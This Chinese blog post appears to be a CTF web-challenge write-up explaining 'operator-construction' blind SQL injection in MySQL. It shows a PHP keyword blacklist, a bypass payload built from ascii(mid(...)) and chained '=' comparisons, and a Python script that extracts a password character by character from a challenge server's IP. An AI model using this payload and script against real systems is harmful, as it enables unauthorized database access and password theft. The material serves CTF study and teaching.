SQL构造操作符注入

0x01 什么叫构造操作符注入

谷歌了一圈,这个词没有明确定义。当然不排除有我不知道的叫法。反正大体的意思是,通过一些mysql内置的函数,构造一个式子,通过式子的结果拼凑信息。比如mid,substrascii等。

0x02 多说无用,直接看实例。

博主在上周经历了这样一道web题,题目对输入的过滤是这样的。

1
2
3
4
5
6
7
8
function filter($str){
$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
if(preg_match($filter,$str)){
die("you can't input this illegal char!");
}
return $str;
}

这样猛一看,虽然欣喜的发现'没有被过滤,但是悲剧的是,常用了or ||
union全被过滤了,瞬间感觉就束手无策了。但是以下这些还没被过滤:

1
'|mid|substr|(|)|=

基于此,想到了以下构造。

1
2
3
lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
for p in lists:
username=-1'=ascii(mid( (passwd) from (str(i)) )=str(ord(p)))='0

上面空格是为了方便阅读,原题把空格给过滤了。

大意很简单,就是通过取得每个passwd的第i个值,将其转换为对应的ascii码,与密码可能出现的字符进行比较,如果比较成功,则返回true,即1。
那么最终的式子将变为-1=1=0。而mysql是左结合的,-1=1为false,即0,0=0,为true,即1。

(注:之所以带括号是因为在空格被过滤的情况下括号可以代替空格,而其实mid是返回i之后的字符串,但是ascii默认取字符串第一个字符进行转码。ord是得到ascii码的函数。)

最终通过以下python程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url="http://117.34.111.15:89/?action=show"
lists='1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
passwd=''
for i in range(1,33):
for p in lists:
param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"}
print(requests.post(url=url,data=param).text)
if 'admin' in requests.post(url=url,data=param).text:
passwd=passwd+p
break
print(passwd)

得到密码。

0x03 总结

总的来说这属于一种比较特殊的注入姿势,只有在无法直接获取有效信息(比如回显被关闭,或者某些mysql字符被黑名单过滤)。这个时候可以考虑通过构造操作符进行注入。